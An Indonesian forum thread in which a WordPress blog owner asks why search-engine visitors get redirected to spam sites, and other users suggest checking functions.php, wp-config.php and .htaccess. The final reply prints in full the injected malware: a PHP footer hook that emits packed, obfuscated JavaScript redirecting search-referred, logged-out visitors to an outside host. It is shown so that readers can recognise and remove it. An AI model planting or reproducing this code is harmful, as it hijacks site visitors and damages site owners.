[HELP] Blog Sy redirect Ke site Lain! Jangan2 punya Anda juga.

[Help] nih mastah. Blog redirect ke site lain jika dibuka via search engine. FYI blog sy pake engine Wordpress, host di Hostgator (Baby Plan)

Redirect nya ke sini : hxxp://notebook.multifind24.com/56895/0/11111010/20/samsung.html via hxxp://googosearch.biz/search.php?ty=1&terms=spesifikasi+samsung+focus+s

Sy kira masalah ini yang bertanggung jawab atas turunnya trafik blog ane akhir2 ini.

Sy nol besar mslh koding, so Pls help yah mastah. gmn nih cara ngebenerinnya ?

thanks all

 

url sitenya sebelum diredirect apa mas, sapa tau saya bisa bantu

 

kok bisa ya? setau ane yang main redirect itu biasanya hosting gratisan

 

coba cek di header.php, mungkin ada kode2 yg agak2 aneh..

 

makasih gan... sdh sy kasi tau

Nah itu jg ane ga tau gan... ga paham masalah security blog

sdh ane cek sepertinya baik2 aja... tp ga tau lg soalnya ane g paham koding


knp ya?

 

coba scan kompinya mas, mana tw ada virus/worm/sejenisnya. kalo gak pake browser lain atau instal ulang browsernya.

 

itu kynya blog ente ke inject gan, ane pernah ngalamin ky gitu, coba ente buka file wp-include/funtions.php klo ada code2 encode/md5, mungkin itu kode injectnya. klo ga ada coba cari di file wp-confiq.php.

 

Perlu di coba nih... thanks mastah

scan pake AV apa y mas yg mantapp??

 

coba ente buka web ente di google.com

cache:webente.com terus liat source codenya, terus liat yg paling bwh, klo ada banyak url web orng, itu ga slh lagi, klo web ente di inject.

 

wah gt ya gan? sbnernya ane prnh jg dl keinject banyk kode aneh di functions.php, trus uda solved. eh ada lg gini

uda cek wp-config.php kyknya baik2 aja. tp anehnya last update kok tgl 13 nov 2011 ya? pdhl ane g prnah otak atik wp-config

---------- Post added at 11:37 AM ---------- Previous post was at 11:16 AM ----------

ga ada nih gan ane liat...

ane td jg uda chat sm supportnya HG. tp dy jg ga tau, di anggapnya blog sy normal. mlh disuruh email ke bagian security

 

Aneh juga ya,,,coba bersihin dulu cookiesnya

 

Mungkin pakai plugin bajakan dan themes bajakan yang ada kode2 redirect

 

coba pake plugin bulletproof security
ane kemaren juga gitu, bahkan di halaman wp-admin tiba2 redirect ke situs ru

 

mungkin juga windowsnya bro (berdasarkan pengalaman pribadi)
coba browse pake pc yg laen dl bro

 

@all : sedang ditangani oleh pihak security hostgator nih. moga aja cpet kelar... makasih semua responnya. yg mcoba bantu sy doakan rejekinya lancar terus... amiin

 

cek pada .htaccess di bagian public_html. itu biasanya kerjaan hacker yg membuad backdoor di bagian situ....

 

Site ane juga nih klo di buka dari Google. Btw udah beres sob? gmn caranya bwt benerinnya.

 

coba mana blognya

 

Tp nih saya benerin cookie dan update Fire foxnya, ga kedirect deh pas buka dari google.

 

Coba buka function.php, cari code berikut (biasanya ada di paling bawah)

PHP:

<?php add_action('get_footer', 'add_sscounter');     function add_sscounter(){         echo '<!--scounter-->';         if(function_exists('is_user_logged_in')){             if(time()%2 == 0 && !is_user_logged_in()){                 echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k [/c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\\w+'};c=1};while(c--)if(k1 );return p}('o r=a.e,t=\"\",q;5(r.4(\"m.\")!=-1)t=\"q\";5(r.4(\"b.\")!=-1)t=\"q\";5(r.4(\"c.\")!=-1)t=\"p\";5(r.4(\"f.\")!=-1)t=\"q\";5(r.4(\"g.\")!=-1)t=\"h\";5(r.4(\"i.\")!=-1)t=\"q\";5(t.6&&((q=r.4(\"?\"+t+\"=\"))!=-1||(q=r.4(\"&\"+t+\"=\"))!=-1))j.k=\"l://9\"+\"1.\"+\"n\"+\"3\"+\".\"+\"8\"+\"9.1\"+\"s/\"+\"u.p\"+\"v?w\"+\"d=7&t\"+\"x\"+\"y=\"+r.z(q+2+t.6).A(\"&\")[0];',37,37,'||||indexOf|if|length||||document|msn|yahoo||referrer|altavista|aol|query|ask|window|location|http|google|22|var||||12||go|hp|si|er|ms|substring|split'.split('|'),0,{}))</script>";
            }
        }
    }
?>



Kalo ketemu hapus semua code tsb..

Mudah-mudahan membantu